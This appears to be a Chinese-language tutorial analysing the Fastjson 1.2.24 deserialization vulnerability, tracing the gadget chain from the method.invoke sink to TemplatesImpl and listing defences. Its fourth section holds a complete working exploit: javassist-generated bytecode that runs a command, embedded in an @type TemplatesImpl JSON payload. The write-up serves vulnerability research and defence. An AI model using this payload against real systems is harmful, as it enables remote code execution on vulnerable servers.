借助DeepSeek从漏洞挖掘的角度分析fastjson反序列化漏洞
字数 1607 2025-09-23 19:27:46
Fastjson反序列化漏洞挖掘与分析教学文档
一、研究背景与动机
Fastjson是阿里巴巴开源的高性能JSON处理库,在1.2.22-1.2.24版本中存在反序列化漏洞。传统分析方式是从已知利用链正向调试,本文采用逆向思维,从漏洞挖掘角度还原整个反序列化链的发现过程,并借助DeepSeek工具提高审计效率。
二、环境搭建
依赖项配置
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.12.0</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.23</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
三、漏洞分析过程
1. Sink点定位
从已知的sink点method.invoke(Object)开始分析:
method参数可控Object通过传参控制- 只能反射调用无参方法或传一个参数
2. 调用链追踪
分析FieldDeserializer.setValue的调用关系:
-
FieldDeserializer是抽象类,查看其实现类:ResolveFieldDeserializer:重写setValue但无可利用点ArrayListTypeFieldDeserializer:无相关调用类DefaultFieldDeserializer:关键点
-
DefaultFieldDeserializer分析:Object值通过传参控制- 需要追踪到
JavaBeanDeserializer.deserialze方法
-
关键调用路径:
DefaultFieldDeserializer.parseField → JavaBeanDeserializer.deserialze → DefaultFieldDeserializer.setValue → method.invoke
3. 利用TemplatesImpl链
构造利用TemplatesImpl的调用链:
- 控制
method为getOutputProperties Object为TemplatesImpl对象
4. 关键代码调试
创建调试Demo:
public class JavaBeanDeserializerDemo {
public static void main(String[] args) {
String json = "{\"name\":\"张三\",\"age\":29}";
DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance());
JavaBeanDeserializer deserializer = new JavaBeanDeserializer(
ParserConfig.getGlobalInstance(),
TemplatesImpl.class,
TemplatesImpl.class
);
Object result = deserializer.deserialze(parser, TemplatesImpl.class, null);
parser.close();
}
}
5. 字段匹配机制
smartMatch方法的匹配规则(关键点):
-
直接字段名匹配:
- 完全匹配(区分大小写):
key.equals(fieldInfo.name) - 忽略大小写匹配:
key.equalsIgnoreCase(fieldInfo.name)
- 完全匹配(区分大小写):
-
Boolean字段is前缀匹配:
key.startsWith("is") && (fieldClass == boolean.class || fieldClass == Boolean.class) && key.substring(2).equalsIgnoreCase(fieldInfo.name) -
蛇形/烤串命名转换:
key.replaceAll("[-_]", "").equalsIgnoreCase(fieldInfo.name) -
备用名匹配:
- 通过
@JSONField注解声明的备用名
- 通过
6. TemplatesImpl属性控制
TemplatesImpl的关键属性:
_outputProperties_name_tfactory_bytecodes
JSON构造技巧:
- 属性顺序很重要,必须先设置
_name、_tfactory和_bytecodes,最后触发_outputProperties _bytecodes需要Base64编码
7. 特征位控制
关键代码修改:
// 使用features可控的构造函数
DefaultJSONParser parser = new DefaultJSONParser(json, ParserConfig.getGlobalInstance(), 131072);
131072对应Feature.SupportNonPublicField- 确保可以设置非public字段
四、完整利用代码
public class JavaBeanDeserializerDemo {
public static void main(String[] args) throws Exception {
byte[] bytes = getEvilClass("Runtime.getRuntime().exec(\"calc\");");
String code = Base64.getEncoder().encodeToString(bytes);
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
"\"_name\":\"xxx\"," +
"\"_tfactory\":{}," +
"\"_bytecodes\":[\"" + code + "\"]," +
"\"_outputProperties\":{}}";
JSONObject jsonObject = JSON.parseObject(json, JSONObject.class, 131072);
}
public static byte[] getEvilClass(String cmd) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("a");
CtClass superClass = pool.get(AbstractTranslet.class.getName());
ctClass.setSuperclass(superClass);
CtConstructor ctConstructor = new CtConstructor(new CtClass[]{}, ctClass);
ctConstructor.setBody(cmd);
ctClass.addConstructor(ctConstructor);
ctClass.getClassFile().setMajorVersion(49);
byte[] bytes = ctClass.toBytecode();
ctClass.writeFile();
return bytes;
}
}
五、调用链分析
完整调用链:
getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
setValue:85, FieldDeserializer
parseField:83, DefaultFieldDeserializer
parseField:773, JavaBeanDeserializer
deserialze:600, JavaBeanDeserializer
deserialze:188, JavaBeanDeserializer
deserialze:184, JavaBeanDeserializer
parseObject:368, DefaultJSONParser
parseObject:1076, DefaultJSONParser
parseObject:1081, DefaultJSONParser
deserialze:28, MapDeserializer
parseObject:639, DefaultJSONParser
parseObject:611, DefaultJSONParser
parseObject:289, JSON
main:53, JavaBeanDeserializerDemo
六、关键点总结
- 利用链起点:通过
@type指定TemplatesImpl类 - 属性设置顺序:必须先设置
_name、_tfactory和_bytecodes - 字节码处理:恶意类需要Base64编码
- 特征位控制:必须设置
131072(Feature.SupportNonPublicField) - 触发点:通过
_outputProperties触发getOutputProperties方法调用
七、防御措施
- 升级Fastjson到最新安全版本
- 使用
ParserConfig.getGlobalInstance().setSafeMode(true)启用安全模式 - 对反序列化的类进行白名单限制
- 避免反序列化不可信数据
八、扩展思考
- 如何挖掘新的利用链?
- 高版本Fastjson的绕过方法?
- 其他JSON库的反序列化漏洞对比分析?
通过本教学文档,读者可以全面理解Fastjson反序列化漏洞的挖掘思路和利用方法,掌握从sink点追踪到完整利用链构建的全过程。